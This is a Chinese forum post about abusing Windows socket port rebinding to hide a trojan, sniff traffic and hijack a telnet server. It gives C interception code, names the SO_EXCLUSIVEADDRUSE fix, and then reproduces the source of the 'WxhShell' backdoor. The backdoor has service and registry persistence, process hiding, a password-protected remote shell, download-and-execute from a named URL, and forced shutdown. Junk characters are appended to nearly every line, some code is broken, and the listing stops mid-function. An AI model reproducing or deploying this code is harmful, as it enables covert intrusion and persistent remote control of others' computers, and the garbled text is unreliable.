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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d24_,o\_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q7i(M >|O  
?7J::}R  
  saddr.sin_family = AF_INET; ap2g^lQXq  
s+z5"3'n  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \jmZ t*c  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); NEvNj  
MSRk|0Mcr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i0zrXaKV  
tU *`X(;  
  这意味着什么?意味着可以进行如下的攻击: b=U3&CV9  
.2s^8gO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *2rc Y  
tGzp= PyA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ayQeT  
drk BW}_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Od:-fw  
^P*-bV4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~>P(nI  
6As%<g=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Dwr 9}Z-]  
Bf6i{`!G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E+LQyvF[  
cOZBl;}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +S`cUn7  
ZKq#PB/.  
  #include UEhFId  
  #include M{)&SNI*C  
  #include j%Xa8$  
  #include    "a3?m)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H8=:LF  
  int main() !l Egta[Ql  
  { F ^aD#  
  WORD wVersionRequested; WtaOf_  
  DWORD ret; `j!_tE`  
  WSADATA wsaData; y7%SHYC p[  
  BOOL val; gVI`&W__,  
  SOCKADDR_IN saddr; %QEyvl4  
  SOCKADDR_IN scaddr; L]u^$=rI  
  int err; P}qpy\/(4  
  SOCKET s; _:WNk(  
  SOCKET sc; x+;y0`oL  
  int caddsize; =N8_S$nx(  
  HANDLE mt; FOsxId[f9  
  DWORD tid;   jA[Ir3  
  wVersionRequested = MAKEWORD( 2, 2 ); >EZZEd   
  err = WSAStartup( wVersionRequested, &wsaData ); - ZyY95E<  
  if ( err != 0 ) { Q'JK *.l  
  printf("error!WSAStartup failed!\n"); 1 ltW9^cF}  
  return -1; p>#q* eU5  
  }  K+XUC  
  saddr.sin_family = AF_INET; x<' $  
   d3S Me  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .\&k]}0qA?  
3HW&\:q5'M  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {?2|rv)  
  saddr.sin_port = htons(23); 'W>y v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <RZqs  
  { #fHnM+  
  printf("error!socket failed!\n"); 3bR%#G%  
  return -1; ^SKHYo`,,N  
  } )rt%.`  
  val = TRUE; g_N^Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Jj 5VBI!Ok  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +."cbqGP_q  
  { k_ywwkG9lU  
  printf("error!setsockopt failed!\n"); <VutwtA  
  return -1; ~fb#/%SV  
  } ZoSyc--Bv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :FfEjNil  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pek=!nZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4d}=g]P  
/f Q}Ls\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ".waCt6  
  { kS=nH9  
  ret=GetLastError(); dUt4] ar  
  printf("error!bind failed!\n"); F",TP,X  
  return -1; |WEl5bNc3  
  } LME&qKe5  
  listen(s,2); 'b z&m(!  
  while(1) 5]upfC6  
  { =QbOvIq  
  caddsize = sizeof(scaddr); nE*S3  
  //接受连接请求 p<#aXs jy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LExm#T`  
  if(sc!=INVALID_SOCKET) k?TZY|_  
  { \AH5 zdK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  _cj=}!I  
  if(mt==NULL) 0"T/a1S7bl  
  { HGh -rEh  
  printf("Thread Creat Failed!\n"); )S 4RR2Q>  
  break; :z&kbG  
  } }+G5i_a  
  } ~ {yy{  
  CloseHandle(mt); 80'@+AD  
  } X0-PJ-\aD@  
  closesocket(s); xkiiQs)  
  WSACleanup(); :vzIc3~c:`  
  return 0; $u'"C|>8  
  }   ;UM(y@  
  DWORD WINAPI ClientThread(LPVOID lpParam) oz)4YBf  
  { Z]oGE@! n"  
  SOCKET ss = (SOCKET)lpParam; a0gg<Ml  
  SOCKET sc;  ;<B  
  unsigned char buf[4096]; s%`l>#H  
  SOCKADDR_IN saddr; OKK Ko`RN  
  long num; sQkijo.  
  DWORD val; /4 OmnE;  
  DWORD ret; "~._G5i.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {i?G:K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wWfj#IB;R  
  saddr.sin_family = AF_INET; vmrs(k "d#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zrG  
  saddr.sin_port = htons(23); VPuR4 p.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) US(RWXyg  
  { *<y9.\z Y<  
  printf("error!socket failed!\n"); DB-79U%W  
  return -1; 3Il._]#  
  } 8Q$WwiS  
  val = 100; vYb4&VV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xq03o#-p+  
  { nKS*y*  
  ret = GetLastError(); l~f3J$OkJ  
  return -1; v;9(FLtL  
  } B5vLV@>]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ")\V  
  { L6Brs"9B  
  ret = GetLastError(); zGyRzxFN  
  return -1; UH}lKc=t  
  } ~jzLw@"~$^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :{iH(ae;  
  { @4 8!e-W  
  printf("error!socket connect failed!\n"); `PL}8ydZ  
  closesocket(sc); rTR"\u7&H  
  closesocket(ss); KCw  
  return -1; *AW v  
  } fW+ "Kuw  
  while(1) ^uN[rHZ*u  
  { a{Y|`*7y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3en6 7l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~mXzQ be p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d~%7A5  
  num = recv(ss,buf,4096,0); y*{zX=]l<  
  if(num>0) VrP{U-`  
  send(sc,buf,num,0); T1.U (::  
  else if(num==0) <nD@4J-A0  
  break; [~ 2m*Q  
  num = recv(sc,buf,4096,0); :??W3ROn  
  if(num>0) #&?ER]|3  
  send(ss,buf,num,0); -d#08\  
  else if(num==0) tlUh8os  
  break; 7<MEMNYX  
  } -V}xvSVg  
  closesocket(ss); Kc2y  
  closesocket(sc); gDLS)4^w  
  return 0 ; f7\X3v2W}3  
  } O!f37n-TB  
+~iiy;i(  
%sOY:>  
========================================================== RH<2f5-sC!  
8P- ay<6  
下边附上一个代码,,WXhSHELL `vAcCahM  
rDbtT*vN  
========================================================== Gg ~0>XS  
1uj~/M  
#include "stdafx.h" p<L{e~{!7f  
MQx1|>rG  
#include <stdio.h> gMF6f%  
#include <string.h> [1kQ-Ko`  
#include <windows.h> ;5[ OS8  
#include <winsock2.h> XWS]4MB+vm  
#include <winsvc.h> |TM n  
#include <urlmon.h> R@jMFh;  
e3TKQ (  
#pragma comment (lib, "Ws2_32.lib") -"JmQ Fha  
#pragma comment (lib, "urlmon.lib") 3w"JzC@  
vu^mLc  
#define MAX_USER   100 // 最大客户端连接数 !(?7V  
#define BUF_SOCK   200 // sock buffer 4 xbWDu]  
#define KEY_BUFF   255 // 输入 buffer =dA] nM  
-i{_$G8W/c  
#define REBOOT     0   // 重启 ~nmFZ] y  
#define SHUTDOWN   1   // 关机 X5/fy"g&  
`MPR-"Z6  
#define DEF_PORT   5000 // 监听端口 k &J;,)V  
,m?V3xvq  
#define REG_LEN     16   // 注册表键长度 s.Z{mnD6  
#define SVC_LEN     80   // NT服务名长度 xCXsyZ2h  
cYg J}(>}  
// 从dll定义API n ng|m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bS~Y_]B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b:hta\%/2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ydO+=R0M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _xePh  
1q-;+Pd;  
// wxhshell配置信息 *6AV^^  
struct WSCFG { o [V8h @K)  
  int ws_port;         // 监听端口 }vU/]0@,E  
  char ws_passstr[REG_LEN]; // 口令 oJQS&3;/r  
  int ws_autoins;       // 安装标记, 1=yes 0=no  EG`AkWy  
  char ws_regname[REG_LEN]; // 注册表键名 cb]X27uww  
  char ws_svcname[REG_LEN]; // 服务名 YFJaf"?8g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 57{T p:|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d%qi~koN_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d}:- Q?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o^X3YaS)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7,p.M)t)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^Z9bA(w8  
J+IItO4%  
}; P:.jb!ZU  
Ya\:C]   
// default Wxhshell configuration e_Hpai<b  
struct WSCFG wscfg={DEF_PORT, !`?i>k?Q E  
    "xuhuanlingzhe", i'H]N8,A  
    1, 5Z; 5?\g  
    "Wxhshell", F}45.C rD  
    "Wxhshell", Bc }o3oc  
            "WxhShell Service", eo4z!@pRN  
    "Wrsky Windows CmdShell Service", {v]L|e%{  
    "Please Input Your Password: ", B3&C&o.h  
  1, 8j70X <R  
  "http://www.wrsky.com/wxhshell.exe", o"BED! /  
  "Wxhshell.exe" NO[A00m|OL  
    }; +&VY6(Zj+*  
r D <T  
// 消息定义模块 oOND]>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "y"oV[`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8e>B>'nH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jXf@JxQ  
char *msg_ws_ext="\n\rExit."; )e3w-es~4  
char *msg_ws_end="\n\rQuit."; V? tH/P  
char *msg_ws_boot="\n\rReboot..."; LJ@(jO{z  
char *msg_ws_poff="\n\rShutdown..."; +`Q]p" G  
char *msg_ws_down="\n\rSave to "; Gn^lF7yE  
@br)m](@  
char *msg_ws_err="\n\rErr!"; &t8,326;  
char *msg_ws_ok="\n\rOK!"; < r~hU*u  
CUH u=  
char ExeFile[MAX_PATH]; `K+%/|!  
int nUser = 0; su=MMr>  
HANDLE handles[MAX_USER]; |s/N ?/qi  
int OsIsNt; Nkj$6(N=zJ  
U"8Hw@  
SERVICE_STATUS       serviceStatus; 9Jh&C5\\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0~BaQ, A @  
7O*Sg2B  
// 函数声明 ?sdSi--  
int Install(void); tDL.+6/  
int Uninstall(void); fK=0?]s}I  
int DownloadFile(char *sURL, SOCKET wsh); 2c[HA  
int Boot(int flag); :tO4LEb  
void HideProc(void); TPBQfp%HU  
int GetOsVer(void); J i@q7qkC  
int Wxhshell(SOCKET wsl); ?:`sE"  
void TalkWithClient(void *cs); QObVJg,GD  
int CmdShell(SOCKET sock); 02[m{a-  
int StartFromService(void); ),`jMd1`  
int StartWxhshell(LPSTR lpCmdLine); ,yNuz@^ P  
{0F/6GwUC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J61%a,es  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r-$xLe7a  
#$S~QS.g  
// 数据结构和表定义 {~O4*2zg;K  
SERVICE_TABLE_ENTRY DispatchTable[] = 5&p}^hS5  
{ meV Z_f/  
{wscfg.ws_svcname, NTServiceMain}, <B|b'XVH2  
{NULL, NULL} $Q#n'#c  
}; rucw{) _  
Tf5m YCk  
// 自我安装 T:kliM"z  
int Install(void) 4Us,DS_/  
{ In?+  
  char svExeFile[MAX_PATH]; v=G*K11@  
  HKEY key; S'|PA7a}h  
  strcpy(svExeFile,ExeFile); o N A ]G]  
$S<B\\ %  
// 如果是win9x系统,修改注册表设为自启动 Brs6RkRf  
if(!OsIsNt) { jq]5Y^e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5SUO`4L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '6NrL;  
  RegCloseKey(key); 9O&gR46.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R[\1Kk(Zo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ylczM^@  
  RegCloseKey(key); 6BA$v-VVU  
  return 0; ?`xF>P]M  
    } [! ;sp~  
  }  t{},Th  
} ;Ngk"5  
else { OHAU@*[lM  
}X8P5c!\  
// 如果是NT以上系统,安装为系统服务 _Cz98VqRk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~v\ W[  
if (schSCManager!=0) } x r0m+/  
{ V Zbn@1  
  SC_HANDLE schService = CreateService _XP}f x7$C  
  ( mYo~RXKGF  
  schSCManager, L9e<hRZ$  
  wscfg.ws_svcname, q M_c-^F  
  wscfg.ws_svcdisp, Jf= V<  
  SERVICE_ALL_ACCESS, u8JH~b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %pxJ27Q  
  SERVICE_AUTO_START, rlh:| #GTJ  
  SERVICE_ERROR_NORMAL, y-H9fWi8Y&  
  svExeFile, EZiLXQd_  
  NULL, P-T@'}lW  
  NULL, \(Nx)F  
  NULL, j<!dpt  
  NULL, a Tm R~k  
  NULL ML|?H1m>  
  ); UZFs ]z!,k  
  if (schService!=0) AEj%8jh  
  { :!t4.ko  
  CloseServiceHandle(schService); jcJ@A0]  
  CloseServiceHandle(schSCManager); V/\Y(Mxc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g?xXX /Qe  
  strcat(svExeFile,wscfg.ws_svcname); I:DAn!N-A*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DFZ0~+rh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9xJtDdy-O  
  RegCloseKey(key); uHacu<$=  
  return 0; J?#vL\8  
    } 7wWx8  
  } 5V(#nz  
  CloseServiceHandle(schSCManager); dKEy6C"@  
} w2b(,w  
} (5Q<xJ  
RgH 6l2  
return 1; v9@_ DlV\  
} Lbrn8,G\  
(FGy"o%TP'  
// 自我卸载 H1?C:R  
int Uninstall(void) #'f5owk>,  
{ ddl]! ^IK  
  HKEY key; CIo`;jt K  
$Lfbt=f  
if(!OsIsNt) { X4\T=Q?uLx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Or$"f3gq  
  RegDeleteValue(key,wscfg.ws_regname); ?1r;6  
  RegCloseKey(key); QPp31o.!5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~eP~c"L  
  RegDeleteValue(key,wscfg.ws_regname); JP"#9f  
  RegCloseKey(key); #"r_ 3  
  return 0; f-i5tnh  
  } bYQ@!  
} w#a`k9y  
} *B@#A4f"  
else { ]b;a~Y0  
;{wzw8!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h5l_/v d  
if (schSCManager!=0) ZR=i*y  
{ @mu{*. &  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z"  z$.c  
  if (schService!=0) =ePwGm1:c  
  { 5FB3w48  
  if(DeleteService(schService)!=0) { yMkR)HY  
  CloseServiceHandle(schService); -@w}}BR  
  CloseServiceHandle(schSCManager); Cz5U  
  return 0; KRd'!bG=1  
  } XD6Kp[s  
  CloseServiceHandle(schService); o@ ^^;30  
  } /160pl 4  
  CloseServiceHandle(schSCManager); EGv]K|  
} )!VJ\  
} $ SA @ "  
f$}g'r zl  
return 1; KMfIp:~  
} 4Hyp]07  
 )D+eWo  
// 从指定url下载文件 =s:kC`O  
int DownloadFile(char *sURL, SOCKET wsh) e)-$ #qW  
{ 2\64~a^  
  HRESULT hr; RFe># o  
char seps[]= "/"; Y@UW\d*'%I  
char *token; =7kn1G.(  
char *file; .& bc3cW  
char myURL[MAX_PATH]; o:5mgf7  
char myFILE[MAX_PATH]; PQF 40g1}  
qD"~5vtLqQ  
strcpy(myURL,sURL); )Mflt0fp  
  token=strtok(myURL,seps); NODg_J~T  
  while(token!=NULL) 4\V/A+<W  
  { Oi C|~8  
    file=token; :ba4E[@  
  token=strtok(NULL,seps); AGwdM-$iT  
  } 2XUIC^<@s  
lxD~l#)^ln  
GetCurrentDirectory(MAX_PATH,myFILE); _E0yzkS  
strcat(myFILE, "\\"); 2C"i2/NH'  
strcat(myFILE, file); SMB&sl  
  send(wsh,myFILE,strlen(myFILE),0);  0RCp  
send(wsh,"...",3,0); Pu!C,7vUQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "tmu23xQ  
  if(hr==S_OK) 0#8lg@e8  
return 0; b/T k$&  
else pXQ$n:e  
return 1; (yEU9R$I"  
71<4q {n  
} tmoclK-  
?a, `{1m0\  
// 系统电源模块 ?)Gb=   
int Boot(int flag) %qrUP\rn  
{ GX.a!XQ@!  
  HANDLE hToken; WqCER^~'>  
  TOKEN_PRIVILEGES tkp; ~S :8M<aB  
g[ @Q iy  
  if(OsIsNt) { D 7thLqA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $_a/!)bP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8ce'G" b  
    tkp.PrivilegeCount = 1; \:JY[s/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "K|':3n|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bbb":c6w0  
if(flag==REBOOT) { :$X dR:f}}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K`|V1L.m  
  return 0; \\oa[nvL~  
} nhm#_3!6A  
else { fpzEh}:H\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (YPG4:[  
  return 0; 4eaH.&&  
} 3s*mq@~1X  
  } `'(@"-L:7  
  else { La7}zXx  
if(flag==REBOOT) { BT -Y9j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t B}W )Eb  
  return 0; Ms%C:KG  
} CX {M@x3m  
else { t08[3Q&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aiw4J  
  return 0; @@!]Raj=  
} B.b sU  
} =(,kjw88w  
ST0|2)Lh"  
return 1; iP^[xB~v  
} _39VL  
F Zt;D  
// win9x进程隐藏模块 7=wQ#bq"1P  
void HideProc(void) -s91/|n  
{ Ym-mfWo^#  
!;k ^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [[4!b E  
  if ( hKernel != NULL ) *TxR2pC}  
  { 0J5$ Yw1'F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8l?@ o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PIsXX#`7;  
    FreeLibrary(hKernel); 4!M0)Nix  
  } `RqV\ 6G+  
Kt"4<'  
return; Us>n`Lj@  
} ]h=y  
JQ]MkP  
// 获取操作系统版本 [#:yOZt  
int GetOsVer(void) p5nrPL  
{ tKi ^0vE8  
  OSVERSIONINFO winfo; dr"@2=Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^h<ElK  
  GetVersionEx(&winfo); VhgcvS@V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s"wz !{G4  
  return 1; 0|rdI,z  
  else IPY[x|  
  return 0; q6 4bP4K  
} bh5C  
 <j_  
// 客户端句柄模块 gX5.u9%C\  
int Wxhshell(SOCKET wsl) [s-!t E3-  
{ bU4\Yu   
  SOCKET wsh; 1eS@ihkP  
  struct sockaddr_in client; Ei@al>.\  
  DWORD myID; URyY^+s  
8 vvNn>Q  
  while(nUser<MAX_USER) 8PRB_ny  
{ 5XNFu C9E  
  int nSize=sizeof(client); DCCij N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !ZN"(0#qz  
  if(wsh==INVALID_SOCKET) return 1; +ldgT"  
aSSw>*?Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q(hAV  
if(handles[nUser]==0) Xpmi(~n  
  closesocket(wsh); OZl0I#@A  
else !8J%%Ux&M  
  nUser++; x Sv@K5"8!  
  } MWn []'TpH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =vKSvQP@)  
bxww1NG>|Z  
  return 0; YQ}IE[J}v  
} c/G^}d%  
0t00X/  
// 关闭 socket .YIb ny1  
void CloseIt(SOCKET wsh) qd [Z\B  
{ UO>S2u  
closesocket(wsh); /.1h_[K]  
nUser--; &<5oDdC  
ExitThread(0); k8ymOx  
} wpJfP_H  
iM{aRFL  
// 客户端请求句柄 YYd!/@|N5  
void TalkWithClient(void *cs) Rd+ `b  
{ >!P !F(  
kc"SUiy/  
  SOCKET wsh=(SOCKET)cs; _ 3jY,*  
  char pwd[SVC_LEN]; `vrLFPdO  
  char cmd[KEY_BUFF]; % wh>_Ho  
char chr[1]; ?OWJUmQ  
int i,j; TSP#.QY  
|?uUw$oh  
  while (nUser < MAX_USER) { X>rv{@KbL  
K1fnHpK  
if(wscfg.ws_passstr) { qH*Fv:qnM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^:m7Qd?Z[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \;Q:a /ur9  
  //ZeroMemory(pwd,KEY_BUFF); #mcGT\tQ  
      i=0; q6N6QI8/  
  while(i<SVC_LEN) { 'Y-Y By :  
2NqO,B|R  
  // 设置超时 p GSS   
  fd_set FdRead; iED gcg7  
  struct timeval TimeOut; gA DF  
  FD_ZERO(&FdRead); " [K>faV  
  FD_SET(wsh,&FdRead); Hz3KoO &  
  TimeOut.tv_sec=8; J]4Uh_>)  
  TimeOut.tv_usec=0; B3&`/{u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ha20g/ UN.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^e WD4Vp|4  
K<ok1g'0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =xsTVT;sj  
  pwd=chr[0]; 8u#2M8.5E  
  if(chr[0]==0xd || chr[0]==0xa) { [e`6gGO  
  pwd=0; THDyb9_g  
  break; dht*1i3v  
  } g%f6D%d)A  
  i++; <>6DPHg~  
    } RE75TqYW  
[>U =P`  
  // 如果是非法用户,关闭 socket NYp46;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3n=ftkI  
} .uu[MzMIu  
XSz)$9~hk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~i/K7qZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .Zv uhOn^  
0:4w@"Q  
while(1) { qEV>$>}  
VTvNn  
  ZeroMemory(cmd,KEY_BUFF); G^/8lIj  
rnTjw "%  
      // 自动支持客户端 telnet标准   $y+Bril5W  
  j=0; o@tc   
  while(j<KEY_BUFF) { X=i",5;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]B r 6!U4~  
  cmd[j]=chr[0]; g\lEdxm6Sj  
  if(chr[0]==0xa || chr[0]==0xd) { vmK`QPu 2  
  cmd[j]=0; YA%0{Tdxz  
  break; Vi_6O;  
  } * k ^?L  
  j++; ua>YI  
    } _G=k^f_  
O4A{GO^q  
  // 下载文件 &S+o oj  
  if(strstr(cmd,"http://")) { Ow4H7 sl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X[KHI1@w  
  if(DownloadFile(cmd,wsh)) o+^5W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _iZ_.3 Ip  
  else ky-9I<Z,,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r5S5;jL%t  
  } Z1ZjQt#~+  
  else { /32x|Ow# 1  
Sn!5/9Y  
    switch(cmd[0]) { N.@@ebuE  
  1A.ecv'  
  // 帮助 I&G"{Dl94  
  case '?': { ?."YP[;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mJL=H  
    break; |QB[f*y5  
  } !U8n=A#,-  
  // 安装 >crFIkOJ  
  case 'i': { _/`H<@B_U  
    if(Install())  q,v)X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9S]]KEGn4  
    else Cmj+>$')0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "8sB,$  
    break; 7S]<?>*  
    } .DG`~Fpk  
  // 卸载 UY$Lqe~  
  case 'r': { 7F@#6  
    if(Uninstall()) tzV^.QWm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ty;P`Uv]r  
    else Ne9S90HsB6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pDV8B/{  
    break; A{Dy3tm=  
    } /@QPJ~%8Ud  
  // 显示 wxhshell 所在路径 {YigB  
  case 'p': { Usz O--.C  
    char svExeFile[MAX_PATH]; @[. 0,  
    strcpy(svExeFile,"\n\r"); aT"0tn^LO  
      strcat(svExeFile,ExeFile); 0l+[[ZTV  
        send(wsh,svExeFile,strlen(svExeFile),0); H4"'&A7$  
    break; s2*~n_B  
    } -h8@B+  
  // 重启 c1aIZ  
  case 'b': { [h[@? 8vB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e> -fI_+b  
    if(Boot(REBOOT)) h"$)[k~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z(:q.{"r  
    else { {k8R6l1  
    closesocket(wsh); ~D\zz }l  
    ExitThread(0); V Bv|7S  
    } oo2CF!Xy  
    break; *BFG{P  
    } PEDV9u[A  
  // 关机 >PmnR>x-rj  
  case 'd': { S";c7s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &f($= 68  
